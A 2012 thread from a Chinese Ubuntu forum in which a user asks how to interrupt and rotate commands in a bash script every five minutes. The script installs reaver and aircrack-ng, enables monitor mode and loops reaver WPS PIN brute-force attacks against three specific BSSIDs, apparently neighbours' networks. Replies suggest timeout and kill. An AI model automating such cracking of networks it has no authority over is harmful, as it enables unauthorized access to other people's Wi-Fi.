那请问在shell脚本中如何模拟ctrl+c中断后执行下一条命令(最好每5分钟中断后重新执行)?
发表于 : 2012-04-25 22:25
那请问在shell脚本中如何模拟ctrl+c中断后执行下一条命令(最好每5分钟中断后重新执行)?
致力于Ubuntu中文推广
http://forum.ubuntu.com.cn/
我想还是上实例说明好点枫叶饭团 写了:我没看懂,trap?
代码: 全选
#! /bin/bash
function pause(){
read -n 1 -p "$*" INP
if [[ $INP != '' ]] ; then
echo -ne '\b \n'
fi
}
pause 'Reaver安装...(Y/n)'
if [[ "$INP" == [Yy] ]]; then
Folder=~/.config/reaver
if [ -d "$Folder" ]; then
sudo rm -fr /usr/local/etc/reaver
sudo ln -fsT ~/.config/reaver /usr/local/etc/reaver
else
sudo apt-get install aircrack-ng libpcap0.8-dev libsqlite3-dev subversion
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
cd reaver-wps-read-only/src
./configure
make
sudo make install
mkdir -p "$Folder"
cp -at /usr/local/etc/reaver ~/.config/reaver
fi
fi
pause '显示网络设备的配置信息...(Y/n)'
if [[ "$INP" == [Yy] ]]; then
ifconfig -a
fi
pause '激活.Wireless.LAN.adapter...(Y/n)'
if [[ "$INP" == [Yy] ]]; then
pause 'airmon-ng start wlan0 or wlan1...(0/1)'
if [[ "$INP" == 0 ]]; then
sudo airmon-ng start wlan0
elif [[ "$INP" == 1 ]]; then
sudo airmon-ng start wlan1
fi
sudo airodump-ng mon0
sudo wash -i mon0
fi
echo "
################################################################################
'reaver -i mon0 -b BSSID -a -S -vv'
~$ sudo -i
~# airodump-ng mon0
~# wash -i mon0
reaver -i mon0 -b 00:V9:C6:AF:44:BA -a -S -vv -c3 #想要在sudo -i后
reaver -i mon0 -b F4:DC:38:67:6B:F6 -a -S -vv -c1 #每5分钟中断一次
reaver -i mon0 -b 00:BD:0C:01:0B:48 -a -S -vv -c4 #循环这三条命令
################################################################################"
sudo -i
utlink_01 写了:你这是要找超时timeout
试过枫叶饭团 写了:超10行的BASH真不是人看的。kill $$,把自己进程kill掉算不算中断。。。
代码: 全选
sudo -i | reaver -i mon0 -b 54:E6:cC:d4:3A:18 -a -S -vv -c9 >/tmp/reaver0.log &
tmp_pid=$$
sleep 6
kill -9 $tmp_pid
reaver -i mon0 -b 38:8e:4f:E5:AF:EE -a -S -vv -c1